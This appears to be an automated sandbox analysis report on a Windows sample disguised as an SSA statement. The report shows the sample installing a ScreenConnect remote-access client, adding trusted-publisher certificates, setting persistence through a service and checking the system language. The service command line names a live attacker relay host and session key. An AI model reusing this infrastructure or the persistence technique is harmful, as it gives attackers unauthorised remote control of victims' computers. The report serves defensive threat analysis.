482b0ab3d3ecd3f023dec082486ca7a166dd9141dda8cf609420c8affda26510

Analysis

max time kernel
118s
max time network
132s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
11/11/2024, 16:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SSA-Statement.Client.exe
Size 84KB
Sample241111-trx78avjer
SHA256 482b0ab3d3ecd3f023dec082486ca7a166dd9141dda8cf609420c8affda26510
MD5 b09e6cb7ca85e12ca8902ece780a3528
SHA1 4051e0ad70c7356238a44fb2d352e689c45ab6ee
SHA512 932d65d713d44f1214d84224624b3763bbe6499e25a73478c020745416ab02d5be95048ee17d7c31dc86809dffd041722bd66e00afca80e16ff39ade6ec66ce2
SSDEEP 1536:bazWlKzJVcNp++yQNS6xNNCT2l8NE8llbpTaCJRpsWr6cdaQTJSvYY27QkPx3q:pFNpo6rIKlUE8fbkqRfbaQlaYY2Lx3q
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

discovery persistence

Malware Config

Signatures

Downloads MZ/PE file

Manipulates Digital Signatures 1 TTPs 4 IoCs

Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to obtain their binary as valid.

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C\Blob = 0300000001000000140000007b0f360b775f76c94a12ca48445aa2d2a875701c2000000001000000b4060000308206b030820498a003020102021008ad40b260d29c4c9f5ecda9bd93aed9300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3231303432393030303030305a170d3336303432383233353935395a3069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e6720525341343039362053484133383420323032312043413130820222300d06092a864886f70d01010105000382020f003082020a0282020100d5b42f42d028ad78b75dd539591bb18842f5338ceb3d819770c5bbc48526309fa48e68d85cf5eb342407e14b4fd37843f417d71edaf9d2d5671a524f0ea157fc8899c191cc81033e4d702464b38de2087d347d4c8057126b439a99f2c53b1ff2efcb475a13a64cb3012025f310d38bb2fb08f08ae09d09c065a7fa98804935873d5119e8902178452ea19f2ce118c21accc5ee93497042328ffbc6ea1cf3656891a24d4c8211485268de10bd14575de8181365c57fb24f852c48a4568435d6f92e9caa0015d137fe1a0694c27cc8ea1b32e6cac2f4a7a3030e74a5af39b6ab6012e3e8d6b9f731e1dcade418a0d8c1234747b3a10f6ea3ab6d9806831bb76a672dd2bd441a9210818fb03b09d7c79b325ac2ff6a60548b49c193ede1b45ce06feb26f98cd5b2f93810e6eace91f5bed3fb6f9361345cbc93452883362a66285fb073ce8b262506b283d45cf615194ced62e05e33f2e8e8ec0aa7b0032b91b23679bef7ad081e75a665ccbbe34850f377911afedb50a246c8615898f57c02163c8328ad3986ecd4b70d53d0f847e675308dec30937614a65b4b5d74614d3f129176debf58cb72102941f0d5c56d267668114113589adc262b01f4894d59db78cf814a3e40475fc98150738510232159608a6454c1cc211ae838197c661ccd78384530994fff634f4cbbaa0d0853417c583d47b3fab6ec8c320902cc6c3c0c56110203010001a38201593082015530120603551d130101ff040830060101ff020100301d0603551d0e041604146837e0ebb63bf85f1186fbfe617b088865f44e42301f0603551d23041830168014ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070303307706082b06010505070101046b3069302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304106082b060105050730028635687474703a2f2f636163657274732e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63727430430603551d1f043c303a3038a036a0348632687474703a2f2f63726c332e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63726c301c0603551d20041530133007060567810c01033008060667810c010401300d06092a864886f70d01010c050003820201003a23443d8d0876ee8fbc3a99d356e0021aa5f84834f32cb6e67466f79472b100caaf6c302713129e90449f4bfd9ea37c26d537bc3a5d486d95d53f49f427bb16814550fd9cbdb685e0767e3771cb22f75aaa90cff5936ae3eb20d1d55079889a8a8ac1b6bda148187edcd8801a111918cd61998156f6c9e376e7c4e41b5f43f83e94ff76393d9ed499cf4add28eb5f26a1955848d51afed7273ffd90d17686dd1cb0605cf30da8eee089a1bd39e1384eda6ebb369dfbe521535ac3cae96af1a23edb43b833c84f38149299f5ddce546dd95d02141f40337c03e295b2c221757352cb46d8c4341ca2a54b8dcd6f76372c853f1ace26e918be9007b0437f9588208270f0cccaeffd29355c1f893855f7378a8b09a1cb0be9311aff2e195c3971e1be9ca70a06d62667b792e64e5fde7aac49cf2ea47492addb3ca49c861fe3c1561b2b23ff8fb5ea887b706be6a0bafd3a3f45a6c4e81691528b41c048844b964dab4440e38df01528ceedf11856072a2f10c40c08643c338fae288c3ccb8f880b0dbf3bf4ce1e7b8eefb5ebcbb7f07713e6e7283fac12aea52f226c41f9825c1566cc6c0ecac586c3f626330c074ba0d307026a6a4030484b34a85120bbad1b8508e2590d6dca05502bea4a1c9ea5fda0a71f0674e7f2d65290fdaf854821f9573bb49c03ed8645f4b4616ebf68e2266086eac8afa9fe941de7631b3a8656784e	SSA-Statement.Client.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579\Blob = 0300000001000000140000004c2272fba7a7380f55e2a424e9e624aee1c145792000000001000000640700003082076030820548a00302010202100b9360051bccf66642998998d5ba97ce300d06092a864886f70d01010b05003069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e67205253413430393620534841333834203230323120434131301e170d3232303831373030303030305a170d3235303831353233353935395a3065310b30090603550406130255533110300e06035504081307466c6f72696461310e300c0603550407130554616d706131193017060355040a1310436f6e6e656374776973652c204c4c433119301706035504031310436f6e6e656374776973652c204c4c4330820222300d06092a864886f70d01010105000382020f003082020a0282020100ec489826d08d2c6de21b3cd3676db1e0e50cb1ff75ff564e9741f9574aa3640aa8297294a05b4db68abd0760b6b05b50ce92ff42a4e390be776a43e9961c722f6b3a4d5c880bcc6a61b4026f9137d36b2b7e9b86055876b9fa860dbcb164fe7f4b5b9de4799ae4e02dc1f0bee01e5d032933a2827388f8db0b482e76c441b1bd50909ef2023e1fb62196c994ce052266b28cd89253e6416044133139764db5fc45702529536bf82c775f9ec81fa27dc409530325f40cdef95b81b9ce0d42791cee72e7bd1b36c257b52257c65a28970e457513989434bfc239e2992b193e1b3cc3f11ccdd1d26d4ec9845099ab913906a42069af999c0071169b45a2ea1aa666f1904e8acb05e1823a359a291fd46b4ef7aed5935bb6ab17ebf077210726930c90f01761d6544a94e8fa614cc41d817eec734b1c3d3afb7c58fb256f0c09edc1459bddbff9940ed1958570265d67af79a9b6a16affd70fc6328c9810d5dc186e39af6fbcad49a270f237e6bcd5de0bc014bc3179cd79776591340311a42ca94f33416c2e01b59bd1d71de86ace6716bc90b2d7695d155039aa08fbac19a4d93fb784230a20a485287a16355645fc09142c602d140fa046b7bfd75328184ff7bdf8f9e0d65e6201c8d242931047f59bd328ac353777ccefa60408887b84fc3631301463461a1d73c0b5cc74d6d82905ddf923bdbab027a311cc38d3fa16f639a50203010001a382020630820202301f0603551d230418301680146837e0ebb63bf85f1186fbfe617b088865f44e42301d0603551d0e04160414338ce10a6e06d9c6ed0bc6cae736cefb8188646a300e0603551d0f0101ff04040302078030130603551d25040c300a06082b060105050703033081b50603551d1f0481ad3081aa3053a051a04f864d687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c3053a051a04f864d687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c303e0603551d20043730353033060667810c0104013029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f43505330819406082b06010505070101048187308184302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305c06082b060105050730028650687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820201000ad79f00cf4984864c8981ecce8718aa875647f6a74608c968e16568c7aa9d711ed7341676038067f01330c91621b27a2a8894c4108c268162a31f13f9757a7d6bb3c6f19bf27c3a29896d712d85873627d827cd6471761444fabf1d31e903f791143c5b4ce5e7444aacba36d759aeba3069d195226755cbc675aa747f77596c53c96e083c45bba24479d6845eea9f2b28ba29b4dcf0bcf14aa4ce176c24e2c1b8fec3ee16e1c086db6fda97388859e83be65c03f701395b78b842c6dd1533ef642cca6fe50f6337d3f2dfedd8b28f2b28e0c98edd2151392e7cc75489f48859f1de14c81b306eb50eed7bb78be30eaada76767c4ca523a11eec5a2372d6122926ab1801a6a6778e9504791487ee47d4577154988802070f80fc535957658f954cd083546c5afb5a6567b6761275f5db20f70ab86feef94c7cfc65369d325121b69a82399bc7dc1962416f0f05cf1eee64d495a3527e464e2c68da0187093f97b673e43dddbcc067e00713f1565fcff8c3772d44b40a04e600644f22a990345f9a6b5b52963e82c81a0ce91d43a230f67b37d8debda40ea3d59d305e18adc1976516c12a8ba2bca24143b12e9527b4dca58872aa9b3a8c6ac563fc2dc02bf51be889516d35a4ba9d062417b5bdcc50ba945fae26b60d6aec03984798a6a21d3ff793cc0849e81ed55b8027411c50db776ae8feef2fdc2dafb04345261dedc054	SSA-Statement.Client.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C	SSA-Statement.Client.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579	SSA-Statement.Client.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\ScreenConnect Client (9f1abc6a-7e1d-4f39-a6d3-127997075d21)\ImagePath = "\"C:\\Users\\Admin\\AppData\\Local\\Apps\\2.0\\QQQ0ZARV.O42\\6JPJPVAH.P8M\\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\\ScreenConnect.ClientService.exe\" \"?y=Guest&h=cdwe.sti1ureedn0reoa.de&p=5832&s=9f1abc6a-7e1d-4f39-a6d3-127997075d21&k=BgIAAACkAABSU0ExAAgAAAEAAQBVXsSEc%2bx9uXD3C%2f7hA6k%2bCkYq8qNt9ddXTDuk6xtcDXcigKgagdDrv%2fcdVObs%2b5PsIEqa3J7G2KVNlw%2fruJmp5gWKLUA7CGK0M2xYP%2fnHrh8PGKb6APgX8%2bMmK%2fRI%2fuG1ObyHzrZSA2zDxqMWtbhBTbrYOR9GzyZRtT2sHBbUlx41DAcKHlRcqgqrm7UWwNY1mXMg1RfS2uCkTVjdU3GL7AKxo9LZAF%2bNZ31xMPej0IfTdjxJIuBFFPQhiLUl3MrrnM%2bcDzOJ4R5qzkEDJux1InHPO4447uQgY2C%2fpH9XXbyUJCVvgFFCPS5LSQJiQ7CvgPW3fKiAsEahrr56vu2y&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAypwQqMSE80C7%2b83r5rB%2b5gAAAAACAAAAAAAQZgAAAAEAACAAAAC%2bd93rrOOdJmLOiYlRBwdEAnW9XfXW4Xecg3dlYX9p5wAAAAAOgAAAAAIAACAAAAA5fMXe0D2jIq6Rzss6GLj7C61e7vWvNSuBnVB2qFLLVaAEAACYVHFZAVwKkdD445y%2fuTYfy9Hd2pTsO2RXu8fN5PxAF5lCnauXV7%2fliZ4d7mg7MSckIELFvFh%2b3m4AhwcU6QG2DszmYi0ZxPlyWXh0FmKMab9rLKSDIZ26IAmJf2adyyitQ2dBF3AjLv6%2fdzNaq8by4KUouyiFExTwup%2f9QKJ888%2fjhP2cHExD3Lh4AKKP4zIOUxCLrt%2fXr3xO7trVpZcwYoMQ%2ftQOdrra7DvbxJq%2bERbzUZwFCEd%2fIepsQDorq2qplAN4L9cKJah9NWF7becrs2U8RDCH%2fyRZAshbp2dFd8B2N5qJ1RFPyR8TWkYR%2bogWeyOYeA3K75CFFGGcl%2fnICVm3BwNQ5R2whYn4ldF%2fnYBRGf3FCmKTpRxEFKEdgoGH0DtN6ZZeYtndAaIOQy7JMmRjRlzi4s7YoCLuDzb%2fYKop6Db0opSrxONkdJYv0N1Fvru5mbDKkeVKkYJmDjchnKaUnshCE9GbwROAPucOdbsDWpYBC9LN8HIx%2bnCAJMiWx80ANQpW0UVYUYL3Q5BJqEgRk7P4tnwm16Tk3hjfYgdN3D8IEZCL4x2WkH%2buGEmd9aOexE8ZXah0qykl1y6enkxis%2fswSbjlkXtE%2bs36rI5oGEOTFXvXea4xFDKMHLBdA1U7XGLdxxIh%2fcJqgB5ALaHyQWNURttBk7pMyFqX5G6%2fvRVjOGFCVh7WRSeVEBCMAOZ%2b4OVZXJI70B8IUFDJd8z147zBXAS8LcpOmjOIB8H57j%2bfa51Lxi%2bbKPSGYRSu8CNRLKDVnHP%2bjtPR4LNh3s%2fZ%2btngk9MexDerzzw3ZgPs7dNzK5D8bdhmrut6TvP8EUW7uqkVD4zOAayscHOsmnwIVDgLiUSyIgi7vAau5K573af5pXHP8bIW6FMXteQggDXVrxhXlsU5H76Ikhqox%2f0j59Ha7ee%2fkdAsoIQDsc2745WdBce69GaqtBFlhaKHwDbYyoWWBBm%2b33EyuFXvPgwTBbCgPSrJg%2bEvz7gR01%2f2mcGbMg42MQ0ozMWUPW39%2bfhWpKMqOjPjux44hC7Hu%2fM0hdOSHdDj4Gv2hkmXlDNAFs5vnnDQLB0IcwEWO8u1iwIkNpHumTVhxNEqw93ds9XBGncNp2Qvnt3%2fIR9oZvyHEGIg0q%2fK6RCHGkoiI6aP9y6X9P%2buf7lOLBhxWblHsbG3SBobKF5nBmykAJJobpu1D3fHih7rXWHmD%2b23DKUlQIBkxUvK2Lh9H8FmNXX1C3kO8nAr3aaz6zXNnLprvlVUHg5vtP%2fnkkndIKynqSooj%2b8OzxkNpOkHO3qtNBPTXH7jVbHsaV3l1RwoBR3gwXHgfqpRrw9mv0u1tAy4CFQlFX6xmiNIRDH1tXzZnJ%2bUDtiWeARuWKg6riO%2bsG%2fevCp3V4okKnNVRNaKZ2ZsXUyYTrcPMKwuIUM8F1eFI2TVs89ePsRYBFxr0TddAIfX%2bf1JJ4O8qlH15JhlQPp3jhPKGDdhMGsdQk3s%2fMyQX09kYc6She6BnAiC3VTiJ0pfNhFgd3saJ%2blP2IQwydfo5weOqdauTBS%2b%2fOJ0DPFM0Yhfb1xSNKs%2bre5sYbnGdaJJrEAAAABqwzTd2EhJvEoK7XTXiukG4kS8s5AWPEnT1BzTJkzuAHaq%2bKtNWZGG0RKlYBeY1WptI%2feX4SDx%2fNYLcVjhtAQC&r=&i=Untitled%20Session\" \"1\""	ScreenConnect.ClientService.exe

Executes dropped EXE 4 IoCs

pid	Process
632	ScreenConnect.WindowsClient.exe
1492	ScreenConnect.ClientService.exe
2704	ScreenConnect.ClientService.exe
2596	ScreenConnect.WindowsClient.exe

Loads dropped DLL 16 IoCs

pid	Process
1492	ScreenConnect.ClientService.exe
1492	ScreenConnect.ClientService.exe
1492	ScreenConnect.ClientService.exe
1492	ScreenConnect.ClientService.exe
1492	ScreenConnect.ClientService.exe
1492	ScreenConnect.ClientService.exe
2704	ScreenConnect.ClientService.exe
2704	ScreenConnect.ClientService.exe
2704	ScreenConnect.ClientService.exe
2704	ScreenConnect.ClientService.exe
2704	ScreenConnect.ClientService.exe
2704	ScreenConnect.ClientService.exe
2704	ScreenConnect.ClientService.exe
2704	ScreenConnect.ClientService.exe
2704	ScreenConnect.ClientService.exe
2704	ScreenConnect.ClientService.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\user.config	ScreenConnect.WindowsClient.exe
File opened for modification	C:\Windows\system32\user.config	ScreenConnect.WindowsClient.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SSA-Statement.Client.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb0 = 30003000300031002f00300031002f00300031002000300030003a00300030003a00300030000000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0017.0002_none_a93db4211b84e004\Files\ScreenConnect.WindowsBackstageShell.exe.co = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..vice_4b14c015c87c1ad8_0017.0002_none_15faadf56d0f44e3\lock!18000000e391770f78020000b00100000000000000000000 = 30303030303237382c30316462333435353562363133376130	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Assemblies	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0017.0002_none_a93db4211b84e004\Transform = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..core_4b14c015c87c1ad8_0017.0002_none_64a715acd74fe178\identity = 53637265656e436f6e6e6563742e436f72652c2056657273696f6e3d32332e322e392e383436362c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Applications\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\PreparedForExecution = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\appid = 68747470733a2f2f767a63782e76696c6c61616e6163726f617469612e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32332e322e392e383436362c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2f53637265656e436f6e6e6563742e57696e646f7773436c69656e742e6578652c2056657273696f6e3d32332e322e392e383436362c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2c20747970653d77696e3332	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\scre..ient_4b14c015c87c1ad8_0017.0002_none_c5edeed0c0	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0017.0002_none_c5edeed0c033c485\Files	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\scre..core_4b14c015c87c1ad8_0017.0002_none_64a715acd7	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0017.0002_none_fabc737ee69f377c\lock!14000000e391770f78020000b00100000000000000000000 = 30303030303237382c30316462333435353562363133376130	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Families\Gc_scre..tion_44b528cc51e21b8c	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Families\Gi_scre..tion_25b0fbb6ef7eb094_9edfe039055229dd\LastRunVersion = 68747470733a2f2f767a63782e76696c6c61616e6163726f617469612e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32332e322e392e383436362c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2f53637265656e436f6e6e6563742e57696e646f7773436c69656e742e6578652c2056657273696f6e3d32332e322e392e383436362c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2c20747970653d77696e3332	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0017.0002_none_c5edeed0c033c485\DigestValue = a23587d95e94d7d5222b675867b3d525c2b4db5f	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Families\F_scre..tion_25b0fbb6ef7eb094_8c8febaddd6d59eb\LastRunVersion = 68747470733a2f2f767a63782e76696c6c61616e6163726f617469612e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32332e322e392e383436362c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2f53637265656e436f6e6e6563742e57696e646f7773436c69656e742e6578652c2056657273696f6e3d32332e322e392e383436362c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2c20747970653d77696e3332	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0017.0002_none_c5edeed0c033c485	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0017.0002_none_c5edeed0c033c485\lock!0e000000bb90770f380b0000cc0a00000000000000000000 = 30303030306233382c30316462333435353464373336626530	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Families\F_scre..tion_25b0fbb6ef7eb094_8c8febaddd6d59eb	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Families	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb0 = 32003000320034002f00310031002f00310031002000310036003a00310038003a00330034000000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..dows_4b14c015c87c1ad8_0017.0002_none_691eed8e139df4a8\identity = 53637265656e436f6e6e6563742e57696e646f77732c2056657273696f6e3d32332e322e392e383436362c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0017.0002_none_fabc737ee69f377c\identity = 53637265656e436f6e6e6563742e436c69656e742c2056657273696f6e3d32332e322e392e383436362c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0017.0002_none_fabc737ee69f377c\DigestMethod = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..dows_4b14c015c87c1ad8_0017.0002_none_691eed8e139df4a8\lock!0a000000bb90770f380b0000cc0a00000000000000000000 = 30303030306233382c30316462333435353464373336626530	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0017.0002_none_fabc737ee69f377c	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0017.0002_none_a93db4211b84e004\SizeOfStronglyNamedComponent = a3ea020000000000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\scre..ient_4b14c015c87c1ad8_0017.0002_none_fabc737ee6 = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide	ScreenConnect.WindowsClient.exe
